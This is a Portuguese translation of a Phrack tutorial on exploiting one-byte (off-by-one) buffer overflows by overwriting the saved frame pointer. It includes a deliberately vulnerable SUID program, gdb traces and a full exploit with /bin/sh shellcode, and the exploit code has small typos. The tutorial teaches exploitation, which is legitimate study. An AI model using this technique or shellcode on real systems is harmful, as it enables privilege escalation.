Bom galera, esse texto eh a traducao, feita por mim, de um texto sobre frame pointers da Phrack Magazine, escrita pelo klog. Pode ser obtido (em ingles, claro) em www.phrack.org. Acrescentei/Retirei algumas coisas para melhor compreensao. ELITES, CRACKERS, etc. SAO CONVIDADOS A NAO LEREM ESSE TEXTO, JA QUE VOCES SAO 'OS MELHORES'. ########################## T R A D U C A O - I N I C I O ################################### ############################ ######## Introducao ######## ############################ Bem, podemos estourar os buffers, e sobrescrevendo os dados contidos no espaco do endereco do processo alvo, nos podemos mudar sua execucao. Este texto nao explica como usar buffers overflows. Esse texto apenas mostra que eh possivel exploitar a vulnerabilidade mesmo nas piores condicoes, como quando o buffer-alvo somente pode ser estourado por um byte ("one-byte overflows"). ################################# ######## O programa-alvo ######## ################################# Vamos escrever um pseudo programa SUID vulneravel a one-byte overflow, que chamaremos de "suid". ------------------------- suid.c ------------------------- /* * suid.c * programa vulneravel a buffer overflows de um byte * compile com: * $ gcc suid.c -o suid * */ #include func(char *sm) { char buffer[256]; int i; for(i=0; i<= 256; i++) buffer[i] = sm[i]; } main(int argc, char *argv[]) { if(argc < 2) { printf("Sem argumentos\n"); exit(-1); } func(argv[1]); } ------------------------- suid.c ------------------------- Compile. Como voce pode ver, nos nao temos muito espaco para exploitar. O overflow eh causado por somente um byte. Nos teremos que usar esse byte cuidadosamente. Antes de exploitar, nos temos que olhar o que esse byte realmente sobrescreve. Vamos "reassemblar" a stack usando GDB, no momento em que o overflow ocorre. ----------------------------------------------------------- bash-2.05$ gdb ./suid ... (gdb) disassemble func Dump of assemble code for function func: 0x8048134 : pushl %ebp 0x8048135 : movl %esp,%ebp 0x8048137 : subl $0x104,%esp 0x804813d : nop 0x804813e : movl $0x0,0xfffffefc(%ebp) 0x8048148 : cmpl $0x100,0xfffffefc(%ebp) 0x8048152 : jle 0x8048158 0x8048154 : jmp 0x804817c 0x8048156 : leal (%esi),%esi 0x8048158 : leal 0xffffff00(%ebp),%edx 0x804815e : movl %edx,%eax 0x8048160 : addl 0xfffffefc(%ebp),%eax 0x8048166 : movl 0x8(%ebp),%edx 0x8048169 : addl 0xfffffefc(%ebp),%edx 0x804816f : movb (%edx),%cl 0x8048171 : movb %cl,(%eax) 0x8048173 : incl 0xfffffefc(%ebp) 0x8048179 : jmp 0x8048148 0x804817b : nop 0x804817c : movl %ebp,%esp 0x804817e : popl %ebp 0x804817f : ret End of assemble dump. (gdb) ------------------------------------------------------------- Como todos nos sabemos, o processador ira 'empurrar' o %eip dentro da stack, como a instrucao CALL necessita. Depois, nosso programa empurra %ebp sobre isso, como tu pode ver em 0x8048134. Finalmente, isso ativa um frame local subtraindo da stack 0x104. Isso quer dizer que a extensao de bytes da nossa variavel local sera 0x104 (0x100 para a string, 0x004 para o inteiro). Note que as variaveis sao fisicamente abastecidas para os primeiros 4 bytes, assim , um buffer de 255 bytes recebera uma quantidade de espaco tipo um buffer de 256 bytes. Nos podemos agora dizer o que nossa stack provavelmente examinou antes do overflow: eip_salvo ebp_salvo char buffer[255] char buffer[254] ... char buffer[000] int i Isso quer dizer que o byte de estoro ira sobrescrever o frame pointer salvo, que foi empurrado dentro da stack no comeco de func(). Alguns devem estar perguntado: Como esse byte pode ser usado para mudar a execucao do programa? Bem, vamos olhar o que aconteceu com a imagem do %ebp. Nos sabemos que foi restaurada no final de func(), como podemos ver em 0x804817e. Mas, e depois? --------------------------------------------------------------- (gdb) disassemble main Dump of assembler code for function main: 0x8048180
: pushl %ebp 0x8048181 : movl %esp,%ebp 0x8048183 : cmpl $0x1,0x8(%ebp) 0x8048187 : jg 0x80481a0 0x8048189 : pushl $0x8058ad8 0x804818e : call 0x80481b8 0x8048193 : addl $0x4,%esp 0x8048196 : pushl $0xffffffff 0x8048198 : call 0x804d598 0x804819d : addl $0x4,%esp 0x80481a0 : movl 0xc(%ebp),%eax 0x80481a3 : addl $0x4,%eax 0x80481a6 : movl (%eax),%edx 0x80481a8 : pushl %edx 0x80481a9 : call 0x8048134 0x80481ae : addl $0x4,%esp 0x80481b1 : movl %ebp,%esp 0x80481b3 : popl %ebp 0x80481b4 : ret 0x80481b5 : nop 0x80481b6 : nop 0x80481b7 : nop End of assembler dump. (gdb) ----------------------------------------------------------------- Eh isso ai! Depois que func() foi 'chamado', no final do main(), %ebp eh recolocado na stack (%esp), como pode-se ver em 0x80481b1. O que isso quer dizer? Quer dizer que nos podemos determinar um valor arbitrario para %esp. Mas nao se esqueca que esse valor arbitrario nao eh realmente arbitrario, desde que voce pode somente mudar o ultimo byte da stack (%esp). Vamos ver se estamos certo: ------------------------------------------------------------------ (gdb) disassemble main Dump of assemble code for function main: 0x8048180
: pushl %ebp 0x8048181 : movl %esp,%ebp 0x8048183 : cmpl $0x1,0x8(%ebp) 0x8048187 : jg 0x80481a0 0x8048189 : pushl $0x8058ad8 0x804818e : call 0x80481b8 0x8048193 : addl $0x4,%esp 0x8048196 : pushl $0xffffffff 0x8048198 : call 0x804d598 0x804819d : addl $0x4,%esp 0x80481a0 : movl 0xc(%ebp),%eax 0x80481a3 : addl $0x4,%eax 0x80481a6 : movl (%eax),%edx 0x80481a8 : pushl %edx 0x80481a9 : call 0x8048134 0x80481ae : addl $0x4,%esp 0x80481b1 : movl %ebp,%esp 0x80481b3 : popl %ebp 0x80481b4 : ret 0x80481b5 : nop 0x80481b6 : nop 0x80481b7 : nop End of assembler dump. (gdb) br *0x80481b4 Breakpoint 2 at 0x80481b4 (gdb) r 'overflow 257' Starting program: /home/Tilly/fp/suid 'overflow 257' Breakpoint 2, 0x80481b4 in main () (gdb) info register esp esp 0xbffffd45 0xbffffd45 (gdb) ---------------------------------------------------------------------- Yessss!!! Depois do buffer ser estourado por um 'A' (0x41), %ebp eh mudado para dentro de %esp, o qual eh incrementado por 4 (0x80481ae) antes que %ebp eh retirado da stack e antes do RET. Isso nos da o 0xbffffd41 + 0x4 = 0xbffffd45. ########################### ######## Preparando ####### ########################### O que ganhamos mudando o ponteiro da stack? Nos nao podemos mudar o valor de %eip salvo diretamente , como qualquer exploitacao de buffer overflow, mas podemos fazer o processador pensar que eh outra parte. Quando o processador retorna de um procedimento, ele soh retira a primeira palavra da stack, pensando que eh o %eip original. Mas se alterarmos %esp. nos podemos fazer o processador retirar qualquer valor da stack como se isso fosse %eip, mu- dando a execucao. Vamos projetar para estourar o buffer usando a seguinte string: |nops| |shellcode| |&shellcode| |%ebp_altering_byte| Para fazermos isso, nos devemos determinar qual valor nos queremos para al- terar %ebp. Vamos olhar o que a stack examinara quando ocorrer o buffer overflow: eip_salvo ebp_salvo (alterado por um byte) &shellcode | shellcode |-----\ char buffer nops |-----/ int i | Aqui, nos queremos que %esp 'aponte' para &shellcode, entao o endereco de shellcode sera retirado de dentro do %eip quando o processador retornar de main(). Agora que nos temos total conhecimento de como nos queremos exploitar nosso programa vulneravel, nos precisamos de pegar informacoes do processo enquanto estiver sendo executado no contexto. Essa informacao consiste do endereco do buffer estourado, e o endereco do ponteiro para nosso shellcode (&shellcode). Vamos executar o programa como se nos quisessemos estourar ele com uma string de 257 bytes. Para fazer isso, vamos escrever um falso exploit: ---------------------------------------------------------------------- (gdb) q bash-2.05$ cat > psdo_expl.c #include #include main() { int i; char buffer[1024]; bzero(&buffer, 1024); for(i=0; i<=256; i++) { buffer[i] = 'A'; } execl("./suid", "suid", buffer, NULL); } ^D bash-2.05$ gcc psdo_expl.c -o psdo_expl bash-2.05$ gdb --exec=psdo_expl --symbols=suid ... (gdb)r Starting program: /home/Tilly/fp/psdo_expl Program received signal SIGTRAP, Trace/breakpoint trap. 0x8048090 in __crt_dummy__ () (gdb) disassemble func Dump of assembler code for function func: 0x8048134 : pushl %ebp 0x8048135 : movl %esp,%ebp 0x8048137 : subl $0x104,%esp 0x804813d : nop 0x804813e : movl $0x0,0xfffffefc(%ebp) 0x8048148 : cmpl $0x100,0xfffffefc(%ebp) 0x8048152 : jle 0x8048158 0x8048154 : jmp 0x804817c 0x8048156 : leal (%esi),%esi 0x8048158 : leal 0xffffff00(%ebp),%edx 0x804815e : movl %edx,%eax 0x8048160 : addl 0xfffffefc(%ebp),%eax 0x8048166 : movl 0x8(%ebp),%edx 0x8048169 : addl 0xfffffefc(%ebp),%edx 0x804816f : movb (%edx),%cl 0x8048171 : movb %cl,(%eax) 0x8048173 : incl 0xfffffefc(%ebp) 0x8048179 : jmp 0x8048148 0x804817b : nop 0x804817c : movl %ebp,%esp 0x804817e : popl %ebp 0x804817f : ret End of assembler dump. (gdb) br *0x804813d Breakpoint 1 at 0x804813d (gdb) c Continuing. Breakpoint 1, 0x804813d in func () (gdb) info register esp esp 0xbffffc60 0xbffffc60 (gdb) -------------------------------------------------------------------- Perfeito!! Agora, galera, nos temos %esp perfeitamente depois que o frame de func() foi ativado. Desse valor, nos podemos agora pensar que nosso buffer sera colocado no endereco 0xbffffc60 + 0x04 (tamanho de 'int i') = 0xbffffc64, e que o ponteiro para nosso shellcode sera ocupado pelo endereco 0xbffffc64 + 0x100 (tamanho de 'char buffer[256]') - 0x04 (tamanho do nosso ponteiro) = 0xbffffd60. ############################ ####### Exploitando ######## ############################ Esses valores nos permitira escrever uma versao completa do exploit, incluindo o shellcode, seu ponteiro e o byte sobrescrito. O valor do ultimo byte que precisamos sobrescrever de %ebp sera 0x60 - 0x04 = 0x5c, antes de retirarmos %ebp exatamente antes de estar retornando de main(). Esses 4 bytes serao esta- bilizados para o %ebp removido da stack. Assim como o ponteiro para nosso shellcode, nos nao precisamos realmente de ter esse ponto para um exato endereco. Tudo que precisamos eh fazer o processador retornar no meio dos NOPS entre o comeco do buffer estourado (0xbffffc64) e nosso shellcode (0xbffffc64 - sizeof(shellcode)), como em um buffer overflow comum. Vamos usar 0xbffffc74. --------------------------------------------------------------------- bash-2.05$ cat > expl.c #include #include char shellcode[] = "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07" "\x89\x56\x0f\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12" "\x8d\x4e\x0b\x8b\xd1\xcd\x80\x33\xc0\x40\xcd\x80\xe8" "\xd7\xff\xff\xff/bin/sh"; main() { int i, j; char buffer[1024]; bzero(&buffer, 1024); for(i=0; i<=(252-sizeof(shellcode)); i++) { buffer[i] = 0x90; /* enchemos buffer com NOP's */ } for(j=0, i=i, j<(sizeof(shellcode)-1); i++, j++) { buffer[i] = shellcode[j]; /* enchemos buffer com o shellcode */ } buffer[i++] = 0x74; /* buffer[i++] = 0xfc; * Endereco do nosso buffer. buffer[i++] = 0xff; * Repare que comecamos do fim (0xbffffc74) buffer[i++] = 0xbf; */ buffer[i++] = 0x5c; execl("./suid", "suid", buffer, NULL); } ^D bash-2.05$ gcc expl.c -o expl bash-2.05$ ./expl bash$ ----------------------------------------------------------------------- Uhuhuuu... Vamos ver o que aconteceu. Apesar de termos construido nosso exploit em torno da teoria explicada nesse texto, seria bom se explicasse detalhadamente o que ocorreu. Se voce entendeu tudo ja explicado, pode parar de ler aqui e comecar a procurar vulnerabilidades (pode nao ser uma das tarefas mais divertidas de fazer, mas...). E tome cuidado com o que voce podera publicar e para quem! Eh um absurdo, mas pessoas ja foram presas por divulgar vulnerabilidades. ------------------------------------------------------------------------ bash-2.05$ gdb --exec=expl --symbols=suid ... (gdb) run Starting program: /home/Tilly/fp/expl Program received signal SIGTRAP, Trace/breakpoint trap. 0x8048090 in ___crt_dummy__ () (gdb) ------------------------------------------------------------------------ Vamos primeiro por alguns 'breakpoints' para ver cuidadosamente nossa exploitacao do nosso programa 'suid'. Nos devemos tentar seguir o valor do nosso frame pointer sobrescrito antes de nosso shellcode ser executado. ------------------------------------------------------------------------ (gdb) disassemble func Dump of assembler code for function func: 0x8048134 : pushl %ebp 0x8048135 : movl %esp,%ebp 0x8048137 : subl $0x104,%esp 0x804813d : nop 0x804813e : movl $0x0,0xfffffefc(%ebp) 0x8048148 : cmpl $0x100,0xfffffefc(%ebp) 0x8048152 : jle 0x8048158 0x8048154 : jmp 0x804817c 0x8048156 : leal (%esi),%esi 0x8048158 : leal 0xffffff00(%ebp),%edx 0x804815e : movl %edx,%eax 0x8048160 : addl 0xfffffefc(%ebp),%eax 0x8048166 : movl 0x8(%ebp),%edx 0x8048169 : addl 0xfffffefc(%ebp),%edx 0x804816f : movb (%edx),%cl 0x8048171 : movb %cl,(%eax) 0x8048173 : incl 0xfffffefc(%ebp) 0x8048179 : jmp 0x8048148 0x804817b : nop 0x804817c : movl %ebp,%esp 0x804817e : popl %ebp 0x804817f : ret End of assembler dump. (gdb) break *0x804817e Breakpoint 1 at 0x804817e (gdb) break *0x804817f Breakpoint 2 at 0x804817f (gdb) ---------------------------------------------------------------------- Esses primeiros breakpoints nos permitira monitorar o conteudo do %ebp antes e depois de retirado da stack. Esses valores corresponderao ao do original e sobrescritos valores. ---------------------------------------------------------------------- (gdb) disassemble main Dump of assembler code for function main: 0x8048180
: pushl %ebp 0x8048181 : movl %esp,%ebp 0x8048183 : cmpl $0x1,0x8(%ebp) 0x8048187 : jg 0x80481a0 0x8048189 : pushl $0x8058ad8 0x804818e : call 0x80481b8 <_IO_printf> 0x8048193 : addl $0x4,%esp 0x8048196 : pushl $0xffffffff 0x8048198 : call 0x804d598 0x804819d : addl $0x4,%esp 0x80481a0 : movl 0xc(%ebp),%eax 0x80481a3 : addl $0x4,%eax 0x80481a6 : movl (%eax),%edx 0x80481a8 : pushl %edx 0x80481a9 : call 0x8048134 0x80481ae : addl $0x4,%esp 0x80481b1 : movl %ebp,%esp 0x80481b3 : popl %ebp 0x80481b4 : ret 0x80481b5 : nop 0x80481b6 : nop 0x80481b7 : nop End of assembler dump. (gdb) break *0x80481b3 Breakpoint 3 at 0x80481b3 (gdb) break *0x80481b4 Breakpoint 4 at 0x80481b4 (gdb) ---------------------------------------------------------------------- Aqui nos queremos ver a transferencia do nosso %ebp sobrescrito para %esp e o conteudo da stack antes do retorno do main(). Vamos executar o programa. ---------------------------------------------------------------------- (gdb) c Continuing. Breakpoint 1, 0x804817e in func () (gdb) info reg ebp ebp 0xbffffd64 0xbffffd64 (gdb) c Continuing. Breakpoint 2, 0x804817f inf func () (gdb) info reg ebp ebp 0xbffffd5c 0xbffffd5c (gdb) c Continuing. Breakpoint 3, 0x80481b3 in main () (gdb) info reg esp esp 0xbffffd5c 0xbffffd5c (gdb) c Continuing. Breakpoint 4, 0x80481b4 in main () (gdb) info reg esp esp 0xbffffd60 0xbffffd60 (gdb) ---------------------------------------------------------------------- Primeiro, nos vemos o valor original do %ebp. Depois de retirado da stack, nos podemos ver ele sendo reocupado por um o qual foi sobrescrito pelo ultimo byte da nossa string sobrescrita, 0x5c. Depois disso, %ebp eh deslocado para a stack, e finalmente, depois que %ebp eh retirado da stack de novo, adiciona-se 4 bytes em %esp. Isso nos da o valor final 0xbffffd60. Vamos olhar o que ha aqui. Com o comando 'x', nos vemos a string do endereco. ---------------------------------------------------------------------- (gdb) x 0xbffffd60 0xbffffd60 <__collate_table+3086619092>: 0xbffffc74 (gdb) x/10 0xbffffc74 /* vamos ver o que tem depois de 0xbffffc74 */ 0xbffffc74 <__collate_table+3086618856>: 0x90909090 /* NOP */ 0x90909090 0x90909090 0x90909090 0xbffffc84 <__collate_table+3086618872>: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffffc94 <__collate_table+3086618888>: 0x90909090 0x90909090 (gdb) ---------------------------------------------------------------------- Podemos ver que 0xbffffd60 eh o endereco atual do ponteiro apontando no meio dos NOPs, justamente antes do nosso shellcode. Quando o processador for retornar de main(), ele ira retirar esse endereco dentro do %eip, e pular para o endereco 0xbffffc74 (que executara nosso shellcode). ---------------------------------------------------------------------- (gdb) c Continuing. Program received singal SIGTRAP, Trace/breakpoint trap. 0x40000990 in ?? () (gdb) c Continuing. bash$ --------------------------------------------------------------------- ############################ ######## Conclusoes ######## ############################ Apesar da tecnica parecer boa, alguns problemas faltam serem resolvidos. Alterando a execucao do programa com apenas um byte de dados sobrescritos eh possivel, mas em quais condicoes? Reproduzir o contexto da exploitacao pode ser uma tarefa dificil em um ambiente inimigo, ou, piorando as coisas, em um host remoto. Precisamos saber o tamanho da stack do processo alvo. Para resolver esse problema, precisamos que o nosso buffer estourado seja o proximo para o frame pointer salvo, o qual pode-se dizer que ele devera ser a primeira variavel declarada nesta funcao. ################################# T R A D U C A O - F I M ##################################### Eh isso ai, brothers... Essa tecnica, de primeira vista, parece ser dificil. Mas como tudo na vida, basta voce se esforcar que voce consiguira dominar. Buffers Overflows eh uma vulnerabilidade muito complexa... nao pense que parou por aqui... ainda ha muito o que descobrir. Frame pointers pode parecer uam tecnica "feia", "torta". Mas, como ja diziam: "NEM TUDO O QUE EH TORTO EH ERRADO. VEJAM AS PERNAS DO GARRINCHA E AS ARVORES DO CERRADO!". Se voce nao entende de buffers overflows, essa eh uma boa hora para ler algo. Em http://unsekurity.virtualave.net tem varios textos sobre, em portugues. Eh isso ai. Esse eh o primeiro texto inteiro que traduzo, e espero fazer muito, mas muito mais mesmo para que a comunidade hacker no Brasil cresca. Espero levar `as pessoas 'desinformadas' o verdadeiro significado do hacking, a forca que essa palavra tem junto com a ETICA. Bem, espero tambem que o zine cresca mais. Tentarei fazer o maximo de edicoes possiveis. Estou em epoca de provas, mas as ferias ja estao chegando, e ai sera um grande numero de textos que irei disponibilizar para voces. Alguns serao escritos por mim, alguns serao traducoes de outros textos. Um grande abraco, sem mais. Tilly -> tilly@linuxmail.org -> end of file <-